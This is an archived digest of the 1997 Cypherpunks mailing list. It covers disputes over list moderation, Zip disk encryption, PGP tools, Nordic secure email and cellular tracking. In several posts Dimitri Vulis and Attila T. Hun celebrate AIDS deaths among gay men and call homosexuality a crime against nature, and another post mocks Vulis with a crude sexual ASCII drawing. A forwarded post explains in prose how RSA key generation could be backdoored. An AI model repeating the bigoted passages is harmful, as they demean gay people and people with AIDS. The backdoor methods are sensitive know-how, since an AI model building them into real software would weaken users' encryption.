     plans and designs.  At home, you can secure personal
     information such as tax records, budgets, and computerized
     checkbooks.

Iomega hasn't been willing to tell me how the password is stored,
so this looks like a big boiling pot of snake oil.  Anyone out
there played with Zip drive/disk internals and know how it works?

dave




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 24 Jan 1997 11:57:27 -0800 (PST)
To: Anonymous <nobody@REPLAY.COM>
Subject: Re: Sandy dumps Igor but allows KOTM
In-Reply-To: <199701241711.SAA28269@basement.replay.com>
Message-ID: <32E92D85.7A3@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Anonymous wrote:
> 
> Face it, it's a bad idea. The Cypherpunks community is not the private
> sandbox of Gilmour and Sandfort

  Yes it is. The fact that they are able to tell others when and how
they will be moderated or censored makes it so.

> The list may currently be hosted on
> Gilmour's computer, but having Sandy decide what's right for us to read is
> inconsistent with Cypherpunks ideals.

  So what is your point?  The moderation process has little to do with
rights or ideals. Now that the WWW is making the InterNet a money-making
entity, rights and ideals will play a decreasingly important role in 
decisions regarding its use and the censorship thereof.
  Also, since John is becoming an increasingly important political
entity in the InterNet community, I am sure that it is very important
to him to be able to control the direction of his private list (and
to use the age-old political device of having a 'front man' to take
the 'heat' for his decisions).
  It is not the first time in history that fame and fortune (or even
the smell of it in the wind) has led to 'rights' and 'ideals' needing
a small bit of 'adjustment'.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 24 Jan 1997 12:26:14 -0800 (PST)
To: "David E. Smith" <dsmith@prairienet.org>
Subject: Re: Encrypting ZIP disks
In-Reply-To: <3.0.32.19970124132442.006b1fc4@midwest.net>
Message-ID: <32E933F4.45CE@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


David E. Smith wrote:
> I'm playing with SecureDrive; the problem is not with using it
> with a Zip disk so much as it is trying to get it to play nice
> with Windows 95.
 
> Iomega hasn't been willing to tell me how the password is stored,
> so this looks like a big boiling pot of snake oil.  Anyone out
> there played with Zip drive/disk internals and know how it works?
> 
Dave,
  I came across a 'cracker' program that claims to be able to
hack the SecureDrive encryption system.
  Off the top of my head, I think it was called ZipCracker, or 
something similar in name to one of the PKZip encryption
cracking programs.  I found it on one of the hacker websites,
and there was a text file regarding SecureDrive which went
into some detail re: both the hardware and software aspects
of the Zip drives and the encryption itself.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brett Carswell <brettc@tritro.com.au>
Date: Thu, 23 Jan 1997 20:32:44 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: RE: No Dimitri??
Message-ID: <c=AU%a=_%p=Tritronics_.Aust%l=TRI_NT5-970124043228Z-78@nt09.tritro.com.au>
MIME-Version: 1.0
Content-Type: text/plain


>drose@azstarnet.com writes:
>
>> William H. Geiger III wrote:
>>
>> >I have noticed that there has not been any post from Dimitri in a couple
>>of
>> >days.
>>
>> Yup. Ditto Tim May.  Fair trade?
>
>It's all part of Dr Dimitri's social experiment. Create two personalities who
>appear to hate each other but are the same person. Watch out for the upcoming
>series....
>
Dimitri L[abia] Vulis styles his facial hair to look more like pubic
hair.

    o     o
 --/--   <~\ Dimitri L[abia] Vulis
 __\    _/\
    \     /
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Genocide <gen2600@aracnet.com>
Date: Fri, 24 Jan 1997 14:34:04 -0800 (PST)
To: fuck you <satan_is_a_hacker@juno.com>
Subject: Re: your mail
In-Reply-To: <199701241555.HAA27672@toad.com>
Message-ID: <Pine.LNX.3.95.970124143730.10499A-100000@shelob.aracnet.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 24 Jan 1997, fuck you wrote:

> Are their any H/ P/ V/ A/ C ers   on this list??

	Yes.

Genocide
Head of the Genocide2600 Group


============================================================================
		   **Coming soon! www.Genocide2600.com!
         ____________________
  *---===|                  |===---*
  *---===|     Genocide     |===---*     "You can be a king or a street
  *---===|       2600       |===---*   sweeper, but everyone dances with the
  *---===|__________________|===---*              Grim Reaper."
                                       
Email:  gen2600@aracnet.com	Web:  http://www.aracnet.com/~gen2600

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
	It is by caffeine alone that I set my mind in motion.
	It is by the Mountain Dew that the thoughts acquire speed,
	the lips acquire stains, the stains become a warning.
	It is by caffeine alone that I set my mind in motion.
================================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mullen, Patrick" <MullenP@ndhm06.ndhm.gtegsc.com>
Date: Fri, 24 Jan 1997 12:39:43 -0800 (PST)
To: "'ichudov@algebra.com>
Subject: RE: Rejection policy of the Cypherpunks maiing list
Message-ID: <c=US%a=_%p=GTE%l=NDHM06-970124204001Z-72578@ndhm06.ndhm.gtegsc.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor sez:
>Sandy also states rather plainly that crypto-relevance is not the
>criterion by which he moderates this list. I question this policy.

I question this, too.  What, exactly, is the criterion?

Cypherpunks charter sez:
The cypherpunks list is a forum for discussing personal defenses for
privacy in the digital domain.  

<Keep in mind I didn't read the described article> How does personal
attacks
through forged and anonymous mail not fit this topic?

However, I _do_ have to say such a topic would have to keep with a 
descriptive attitude, rather than demonstrative...  :-)

On another note, even though some messages which may be of interest may
get lost in the shuffle, I do like the reduced volume, esp. since I get
listmail
at work.  Unfortunately, the reduced mail is a result of censorship...
:-(

~ Patrick


>----------
>From: 	ichudov@algebra.com[SMTP:ichudov@algebra.com]
>Sent: 	Friday, January 24, 1997 2:33 AM
>To: 	Cypherpunks
>Subject: 	Rejection policy of the Cypherpunks maiing list
>
>I would like to start a thread to discuss the moderation and rejection 
>policy.
>
>My perfectly crypto-relevant article regarding possible attacks
>on human relationships with the use of forged mail and anonymous
>remailers, has been tossed out (sorted) into cypherpunks-flames 
>mailing list.
>
>You can receive a copy of my article by an email request.
>
>The explanation that Sandy Sandfort gave me mentioned that he rejected
>my message because it continued a thread where Sandy noticed instances
>of "flaming". Note that my message was free of any flames, including
>its quoted part.
>
>Sandy also states rather plainly that crypto-relevance is not the
>criterion by which he moderates this list. I question this policy.
>
>I would like to hear your opinions as to whether such policies satisfy
>the current readership.
>
>	- Igor.
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP-TV Main Contact <isptv@access.digex.net>isptv@access.digex.net
Date: Fri, 24 Jan 1997 13:16:56 -0800 (PST)
Subject: CPSR President Aki Namioka Interviewed on "Real Time" Monday
Message-ID: <199701242115.QAA10544@access5.digex.net>
MIME-Version: 1.0
Content-Type: text/plain


*** ISP-TV Program Announcement: 

	CPSR President Aki Namioka
	Interviewed on "Real Time"
***

***  Monday, Jan. 27  ***
*** 9 PM ET / 6 PM PT ***

Aki Namioka is President of the Computer Professionals for Social
Responsibility (CPSR), a non-profit, public-interest group which advocates
for civil rights with respect to electronic information.  Netizens may
remember Namioka's speech against the CDA at Seattle's "Internet Day of
Protest" Rally. 

We'll ask Ms. Namioka about the history of the CPSR, and current issues
CPSR follows in cyber rights, civil liberties, and technology education. 
 
She will be interviewed remotely over CU-SeeMe from the Speakeasy Cafe in
Seattle, Washington (http://www.speakeasy.org/).

Call-in questions will be taken during the show at (301) 847-6571. 

****

This video interview can be viewed on the ISP-TV main CU-SeeMe reflector
at IP 205.197.248.54, or other ISP-TV affiliate reflectors listed at
http://www.digex.net/isptv/members.html. 

See URL http://www.digex.net/isptv for more information about the ISP-TV
Network

To get email about future programming on ISP-TV, email the word
"subscribe" to isptv-prog-request@isptv.digex.net. 

To obtain Enhanced CU-SeeMe software, go to:

	http://goliath.wpine.com/cudownload.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Fri, 24 Jan 1997 13:29:39 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Rejection policy of the Cypherpunks maiing list
In-Reply-To: <32E8B499.27B5@sk.sympatico.ca>
Message-ID: <Pine.BSD/.3.91.970124155053.1402A-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 24 Jan 1997, Toto wrote:

> Igor Chudov @ home wrote:

<snip>

> > The explanation that Sandy Sandfort gave me mentioned that he rejected
> > my message because it continued a thread where Sandy noticed instances
> > of "flaming". Note that my message was free of any flames, including
> > its quoted part.
> 
>   The standard of what constitutes a 'flame' seems to rest very much
> upon whom a comment is directed at, or merely 'vaguely toward'.  


Beauty, flames and censorship are all in the eyes of the beholder.  
However, by providing both "raw" and "cooked" versions of the list, Sandy 
is allowing readers to choose for themselves whether or not they want 
someone else's filters applied to their mailbox.  Personally, I choose to 
press the "Delete" key myself.

<snip>

> > Sandy also states rather plainly that crypto-relevance is not the
> > criterion by which he moderates this list.
> 
>   This was more than obvious to anyone who cared to cast an objective
> eye on the process, but their input was pooh-paah'd by the 'washed 
> masses'.

Note that Sandy also stated that the post in question would not be sent to 
the 'washed masses'.

> > I would like to hear your opinions as to whether such policies satisfy
> > the current readership.
> 
>   Like all of the 'opinions' that were expressed prior to the censorship
> of the list? I haven't seen any indication that these opinions were 
> given the slightest consideration.  This is not the readership's list.
> It is a private individual's list.

Agreed, and said private individual can do as s/he sees fit.  My only
objection is that the moderated version has the same name as the original
list (sounds like Rogers Cable's recent attempt at "Costs More Unless You 
Speak Up Now" channels).

<snip>

>   In short, I don't see the moderation as being 'fair', and I don't
> think it was ever meant to be.

Again, fairness is in the eyes of the beholder.  I don't object to the 
list being filtered, as long as everyone understands that this is 
happening.


What will happen, I wonder, if at the end of the trial period the number
of subscribers to the "raw" list outnumbers those who get the "cooked"
list, or vice versa?  Is that one of the criteria for determining the
"success" of the experiment? 

Cynthia

===============================================================
Cynthia H. Brown, P.Eng.
Ottawa, Ontario, Canada
E-mail:     cynthb@sonetis.com
Home Page:  http://www.sonetis.com/~cynthb/
PGP Key:    See Home Page
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aaron@herringn.com
Date: Fri, 24 Jan 1997 16:35:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cellular location...
In-Reply-To: <199701242243.OAA10355@toad.com>
Message-ID: <l03010d01af0f04e22612@[204.57.198.5]>
MIME-Version: 1.0
Content-Type: text/plain


Presented in a "this will help 911" context. Still disconcerting.

[...]
Companies working on the technology to track cellular phone calls
have been given additional incentive with a Federal Communications
Commission order that all cell phone service companies have location
programs in place by the year 2001.
[...]

http://cnn.com/US/9701/22/911.rescue/index.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frogfarm@yakko.cs.wmich.edu (Damaged Justice)
Date: Fri, 24 Jan 1997 14:44:49 -0800 (PST)
To: frogfarm@yakko.cs.wmich.edu
Subject: (fwd) Re: PGP implementation source code
Message-ID: <199701242244.RAA28907@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain


[The discussion started with Pretty Safe Mail, the recent "PGP-compatible"
Mac program, and whether or not it was safe. Source code is not available.
Some authors noted that PSM was much slower than PGP, but so far lives up
to its promise of user-friendliness. A Win95 version is in the works.]

>From: Ian_Miller@bifroest.demon.co.uk (Ian Miller)
Newsgroups: comp.security.pgp.discuss,comp.security.pgp.resources
Subject: Re: PGP implementation source code (was "Imminent Death of PGP?" revisited)
Date: Fri, 24 Jan 1997 19:55:46 +0000
Lines: 66
Message-ID: <AF0EC44296683DACD@bifroest.demon.co.uk>

In article <5c2kap$1tu@topcat.uk.gdscorp.com>,
Steve Gilham <steveg@uk.gdscorp.com> wrote:

>PGP defines, but, IIRC does not inspect, a comment packet type.  This
>packet type could be added to a .pgp file and contain anything the
>implementor  wished (your plaintext secret key if it has been used in
>this instance of the program, any IDEA key used, your passphrase, if
>given) without any standard PGP implementation being aware of it 

The IDEA initialisation vector could also be used as a subliminal channel,
it is only 8 bytes but it could (for example) leak a random 60 bits of one
prime in your secret key with the remain 4 bits saying which set of 60
bits. 

Worse is the possibility that the program could put a back door into RSA
key generation to make the modulus trivially factorisable by someone in the
know.  There are a number of mechanisms for this of varying detectability
up to detectable only by reverse-engineering.
Here are some of the (endless) possibilities in order of increasing
sophistication:-
1) Make one of the primes a constant.  Factorise by dividing by this
number.  Detectable by inspection of public keys alone.  (For more details,
see my article "There are no common factors in the Public keyring", 13th
Jan in comp.security.pgp.announce.)

2) Select the first prime P at random but make second prime Q the smallest
prime larger than PK where K is a constant.  Factorise by searching from
root(N/K).  Probably detectable by suitable inspection of several secret
keys generated by the product, but (I think) undetectable from public keys
alone.

3) Select a random seed and using a good PRNG, make the rest of generation
process deterministic based on the seed.  Use the "deadbeef" technique to
select a modulus that has this seed as its least significant bytes. 
Factorise by extracting the seed from the modulus and repeating the
deterministic key generation.  This is detectable only by reverse
engineering.

4) Select a random seed and use a short key PKE key exchange system (e.g.
Elliptic curve) to generate a session key and a key exchange cyphertext. 
Use a key generation similar to (3) except that you seed the PRNG with the
session key and deadbeef to make a key ending in the key exchange
cyphertext.  
Factorise by extracting and decrypting the session key (requires a secret
key), and repeating the key generation.  Again this is only detectable by
reverse engineering, but even after executing the reverse engineering you
still cannot factor the keys generated because the program only contains
the public key not the secret key.

Method (4) is an interesting example of a "locked back-door".  There is
often an unstated assumption that back-doors have to be open.  i.e. If you
can find them you can get in.  It isn't always true.  Whereas it seems
intuitively unlikely, it is not inconceivable that there is a way of
putting a locked back-door into some forms of Feistel ciphers.  The NSA
would have been reluctant to put an open back-door into DES, but they would
not have hesitated to put in a locked back-door.  In my opinion the only
safe assumption is that they could and they did.

In cryptography you shouldn't trust your intuition, code with source or
unexplained algorithm components.

Ian

Ian_Miller@bifroest.demon.co.uk    FAI-D10204
PGP key 1024/FCE97719 FP: 2A 20 46 10 E5 96 27 40  91 B1 95 BA CA D3 BC 14
Antworten auf Deutsch waeren mir angenehm.

-- 
http://yakko.cs.wmich.edu/~frogfarm  ...for the best in unapproved information
Tell your friends 'n neighbors you read this on the evil pornographic Internet
"Where one burns books, one will also burn people eventually." -Heinrich Heine
People and books aren't for burning. No more Alexandrias, Auschwitzs or Wacos.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 24 Jan 1997 10:07:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Sandy dumps Igor but allows KOTM
Message-ID: <199701241711.SAA28269@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Sandy Sandfort, our Leader, Moderator, Guidance Counselor, Censor,  and
Speaker-to-Gilmour said:

"By the way, contrary to what Dimitri has alleged, I have posted
every message from him in which he was able to restrain himself
with regard to gratuitous insults and/or spam.  In other words,
the set of Dimitri posts that have appeared on the moderated list
is not the null set."

However, KOTM wrote:

"Anything?  My good friend TRRCJ3 reports from San Francisco that the
city is much nicer now that so many homosexuals are 6 feet under.

"Thank God for AIDS."

(end quote from KOTM)

Nice to know Sandy is doing such an efficient job of moderating out the
"flames," such as by kicking Igor's crypto-relevant article on denial of
service attacks to the flame bucket while bending over backwards to appear
to be "fair" to KOTM.

Face it, it's a bad idea. The Cypherpunks community is not the private
sandbox of Gilmour and Sandfort, and we don't need Sandy's "guidance" to
keep us from being straying sheep. The list may currently be hosted on
Gilmour's computer, but having Sandy decide what's right for us to read is
inconsistent with Cypherpunks ideals. 

GenX


--




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Fri, 24 Jan 1997 16:04:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Homo/bi/sexuals Most Destructive (fwd)
Message-ID: <199701250011.SAA14159@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 24 Jan 97 21:33:41 +0000
> From: "Attila T. Hun" <attila@primenet.com>
> Subject: Re: Homo/bi/sexuals Most Destructive

Much drivel about AIDS deleted.

>         One of the saddest commentaries on the entire problem is the 
>     man, a Pan-American flight steward, who was identified as carrier 
>     #1 by the Communicable Disease Center (CDC) in Atlanta; he died 

The correct term is 'Patient 0'.

                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frogfarm@yakko.cs.wmich.edu (Damaged Justice)
Date: Fri, 24 Jan 1997 15:20:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: (fwd) New keyserver available
Message-ID: <199701242320.SAA29771@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain


>From: tage@cc.uit.no (Tage Stabell-Kulo)
Newsgroups: comp.security.pgp.tech
Subject: New keyserver available
Date: 24 Jan 1997 16:11:26 GMT
Lines: 12
Message-ID: <5camve$3d4@news.uit.no>


A new PGP keyserver, still _very_ experimental, is available at
host dslab1.cs.uit.no at port 24162, use telnet(1).  In general it will 
find a key in a few seconds.  Your comments and suggestions are
solicited.


--
////        Tage Stabell-Kuloe         | e-mail: Tage@ACM.org          ////
/// Department of Computer Science/IMR | Phone : +47-776-44032         ///
// 9037  University of Tromsoe, Norway | Fax   : +47-776-44580         //
/       "'oe' is '\o' in TeX"          | URL:http://www.cs.uit.no/~tage/

-- 
http://yakko.cs.wmich.edu/~frogfarm ...for the best in unapproved information
"We think people like seeing somebody in a uniform on the porch."  -US Postal
spokeswoman, quoted in AP, 1/27/96. I don't know about you, but most people I
know who saw someone in uniform on their porch would pull out the shotgun...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Fri, 24 Jan 1997 18:25:27 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: greed and the internet
Message-ID: <v02140b00af0d4dfc5cda@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>        The Internet will no no longer be the peoples net, and the
>    commercial greedies are establishing a faster, more secure
>    network with controlled access points; leaving the common man's
>    access in the mud, still paying the exorbitant rates on a pay
>    before play basis.  That, and it gives control of information to
>    the government --which, as we all know. is 'heavenly white'
>    -above sin.
>

Rather than being forced by pressures from the market, smaller ISPs appear
to be holding their own and in many cases thriving.  A significant number
of them have begun to form their own cooperatives to operate mini-NAPs,
mosty to aggregate local traffic and reduce unnecessary traffic to the
NAPs.  It isn't too far a stretch to envision that should this practive
become commonplace, these smaller ISPs could band together to create their
own Net overlay, bypassing the NAPs. This trend could spell trouble for
gov't agencies expecting to monitor Net traffic from only a few convenient
locations (i.e., NAPs).

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hugh Daniel <hugh@ecotone.toad.com>
Date: Fri, 24 Jan 1997 18:33:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Scandinavian Goverments provide PGP to postal customers...
Message-ID: <199701250229.SAA13141@ecotone.toad.com>
MIME-Version: 1.0
Content-Type: text/plain


  FYI:
>From: jsp@betz.biostr.washington.edu
>Sent: 	Friday, January 24, 1997 2:31 PM
>Subject: 	Meanwhile, back in the Free World...
>
>
>Encrypted Email For Finns, Swedes, Danes
>    by Sami Kuusela
>
>    4:43 pm PST 23 Jan 97 - While keeping a watchful eye on the emerging
>    American encryption policy, Scandinavian countries are embarking
>    on a joint project to implement the first international email security
>    service.
>
>    Nordic Post Security Service (NPSS) - involving Finland, Norway,
>    Sweden, and Denmark - hopes to provide secure email, and
>    officials say that soon every Nordic citizen can walk into the
>    nearest post office and sign up for it.
>
>    But no matter the success of the secure email system, the NPSS
>    project is a clear sign that, unlike the United States, Northern
>    Europe is moving forward with exporting encryption technology
>    across national barriers.
>
>    "Finnish policy has not been to start with regulations and fear of
>    Net issues," says Anu Lamberg, the head of the Information
>    Network Unit in the Finnish Ministry of Transport and
>    Communications. "The American discussion on this matter has
>    been funny to watch, but I hope nobody in Europe or Finland starts
>    to question the very basics of democracy."
>
>    Based on PGP, with no "third-party" key holder, the Nordic system
>    uses unbreakable RSA-algorithm encryption with a 1024-bit key.
>
>    However, some hardware is required. Because the key is on a
>    smartcard, users must have smartcard readers installed on their
>    computers, which aren't yet widely available. But Pdr Andler of
>    Finnish Hewlett Packard says that later this year, smartcard readers
>    will become standard on computers in Scandinavia. "It is a really
>    big help for users, who don't have to remember dozens of
>    passwords when using different kind of services," Andler says.
>
>    The project has been moderately successful in Finland - the first
>    Nordic country to offer the secure email - as the system isn't any
>    more difficult to use than a standard email program. All the user
>    has to do is click "send."
>
>    For project developers, using strong crypto was never an issue.
>    "From the very beginning we've been basing this on strong crypto,"
>    says Vesa-Pekka Moilanen, technical director for Finland Post, and
>    mastermind of the email project. "At first, the customers are going
>    to be mainly professionals," he says, "but quite soon private
>    individuals will start using it." But the use of secure email probably
>    won't be widespread until 1998 - if then.
>
>    "If strong crypto is banned it's going to have major effects on the
>    development of information society," says Risto Siilasmaa, the
>    CEO and president of DataFellows, one of the only makers of
>    encryption programs in Finland. The Finnish government awarded
>    DataFellows "most innovative company" honors in 1996. "But
>    nobody is going to limit strong crypto. I haven't met a single
>    leading Nordic official who says otherwise."
>
>    One question, though: What if a Nordic citizen enters the United
>    States with the email program installed on his or her laptop? For
>    now, Nordic officials are only beginning to contemplate the
>    ramifications.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tekmasta@global.california.com
Date: Fri, 24 Jan 1997 18:52:48 -0800 (PST)
To: Genocide <gen2600@aracnet.com>
Subject: Re: your mail
Message-ID: <2.2.32.19970125025428.00687400@global.california.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:37 PM 1/24/97 -0800, you wrote:
>On Fri, 24 Jan 1997, fuck you wrote:
>
>> Are their any H/ P/ V/ A/ C ers   on this list??
>
>	Yes.
>
>Genocide
>Head of the Genocide2600 Group
>
>
>============================================================================
>		   **Coming soon! www.Genocide2600.com!
>         ____________________
>  *---===|                  |===---*
>  *---===|     Genocide     |===---*     "You can be a king or a street
>  *---===|       2600       |===---*   sweeper, but everyone dances with the
>  *---===|__________________|===---*              Grim Reaper."
>                                       
>Email:  gen2600@aracnet.com	Web:  http://www.aracnet.com/~gen2600
>
>^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>	It is by caffeine alone that I set my mind in motion.
>	It is by the Mountain Dew that the thoughts acquire speed,
>	the lips acquire stains, the stains become a warning.
>	It is by caffeine alone that I set my mind in motion.
>===========================================================================
=====

try my site too http://gcwp.com/fadedimage

can anyone help me out with getting pgp working... I just got 2.6.2
excutable the freeware one and its for dos... I need to get one that works
with eudora or netscape.... please help!
        ,_    ,.    .`.---  . ,-,-,-.     ,---.      .---.
        |_   / |  ,-| |__ ,-|.`,| | |  ,-.|  -' ,-.,'\___
        |   /~~|-.| |,|   | ||  | ; | .,-||  ,-'|-'      \
        | ,'   `-'`-'`^---`-''  '   `-'`-^`---| `-'  `---'
        '                                  ,-.|
                                           `-+'
 ,-.  .       .,-.  .       .                       . ,-_/,.,--.
   |  |  ,-.,-|  |  |  ,-.,-|,-.,-.,-.,-.,-.. .,-.,-| ' |_|/|  |
   |  | .| || |  |  | .| || ||-'|  | ||  | || || || |  /| | | \|
   `--^-'' '`-'  `--^-'' '`-'`-''  `-|'  `-'`-'' '`-'  `' `'`--\
                                    ,|
                                    `'
                -= http://gcwp.com/fadedimage =-                





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Fri, 24 Jan 1997 12:19:51 -0800 (PST)
To: cypherpunks <dlv@bwalk.dm.com>
Subject: Re: Homosexuals
In-Reply-To: <199701241414.GAA25350@toad.com>
Message-ID: <199701242019.NAA20386@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199701241414.GAA25350@toad.com>, on 01/24/97 
   at 07:17 AM, "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com> said:

+Anything?  My good friend TRRCJ3 reports from San Francisco that the
+city is much nicer now that so many homosexuals are 6 feet under.

+Thank God for AIDS.

        when AIDS was relatively obscure, I always dismissed AIDS as 
    God's response to homosexuality (and other crimes against nature); 
    i.e. -settlement by a just God.  

        Unfortunately, some of these boy-girls could not keep it among 
    themselves, and the closet queens brought it home.  AIDS replicates     
    asexually, knowing no boundaries.

        I would not wish the disease upon anyone, but if you play, you 
    just might pay --as in "...reap what thy hath sown."  

        One of the saddest commentaries on the entire problem is the 
    man, a Pan-American flight steward, who was identified as carrier 
    #1 by the Communicable Disease Center (CDC) in Atlanta; he died 
    protesting he did not have the disease, nor was he a carrier. The 
    flight steward was still sexually active until his impending death 
    removed even his ability to passively participate. Unfortunately, 
    he was not only in total denial as to the disease and its 
    communicability, but he was also immensely profligate, having 
    surrendered to total licentiousnous.

        To be strongly opposed to homosexuality has nothing to do with 
    bigotry, political correctness, or aberrationist apologists; it is
    an exposition of the natural order among the species.

        and for those who deny God, read Darwin as to the relative 
    rate of survival for deviant and/or abnormal species. 

  ==
  "eschewing my enmity is exemplary,
    even transcending my fraternity.
        --attila

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

iQCVAwUBMukZO704kQrCC2kFAQHdVgP+K5WJPhgPDY3DJerIYHmz4PbsItrSQCF0
eoS2wyYVTG3PZ5YDhk+dRfn2OuhEE0n/vLiDlXakAjqQBtncyIF74pfE4mxn3DWC
1xLMJr9vFI7x0soX6sPIzSD9Yh0CyKHIk75r/RQk2T4doVoGSxJWbe0YKCItiGz4
PvH9hGh6F7E=
=A2up
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 24 Jan 1997 16:40:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Homosexuality
In-Reply-To: <199701241612.IAA28256@toad.com>
Message-ID: <eu921D16w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Lou Zer <satan_is_a_hacker@juno.com> writes:

> Does any one know of any other good mailing Lists either with crypto or
> anything underground

Perhaps we should start an unmoderated list and call it "cypherpunks".
Or create alt.cypherpunks.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 24 Jan 1997 16:43:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701241359.FAA24956@toad.com>
Message-ID: <3D021D18w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort <sandfort@crl9.crl.com> writes:

> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
>
> C'punks,
...
> By the way number two, this response will be posted to the flames
> list and NOT the moderated list.  Even though I have not flamed
> anyone, two things keep it off the moderated list:  (1) my policy
> about keeping thread on the same list where possible (see above),
> and (2) basic precepts of fairness.

Sandy lied - he posted this aritcle to BOTH cypherpunks-flames and
the censored list.  Does anyone else enjoy the privilege of posting
their articles to BOTH lists?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sat, 25 Jan 1997 01:58:47 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <854185258.62147.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> I would like to start a thread to discuss the moderation and rejection 
> policy.

No doubt we all would but such threads may, without recourse to proper 
moderation, all be thrown into cypherpunks-flames if Sandy believes
they will be critical of him. (prove me wrong Sandy, send this to the 
moderated list).
 
> My perfectly crypto-relevant article regarding possible attacks
> on human relationships with the use of forged mail and anonymous
> remailers, has been tossed out (sorted) into cypherpunks-flames 
> mailing list.

I don`t think I read the article (even though I subscribe to the 
unmoderated list), can you forward me a copy.
As I understand it though, from other comentaries, it was junked 
because it was in response to a message by Dimitri who, given that it 
is Sandy that is moderating the list, is no doubt filtered by 
different criteria than anyone else on the list, in my opinion a 
censorous and fascist restraint as Dimitri has recently been posting 
more crypto relevant material, besides which whatever the content of 
his posts they should be open to review before a decision is made on 
if they are to be junked or not.
 
> Sandy also states rather plainly that crypto-relevance is not the
> criterion by which he moderates this list. I question this policy.

Yes Sandy, please enlighten us, what is the criterion you use to 
moderate the list if not crypto-relevancy. I suspect an element of 
self preservation and protection of the list fuhrer and diktat maker 
John Gilmore (who, until the disgraceful incident with Dimitri 
commanded some respect on this list).
 
> I would like to hear your opinions as to whether such policies satisfy
> the current readership.

I don`t think this is the point, John Gilmore is free to appoint 
whoever he wants to moderate his list, he is free to censor all 
messages which criticise him and his censorship, however, subscribers 
to the list should be told they are being censored on these grounds 
and not on some facade of "crypto relevancy" or another thin veil 
drawn weakly over content based censorship to protect a certain class 
of list members.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
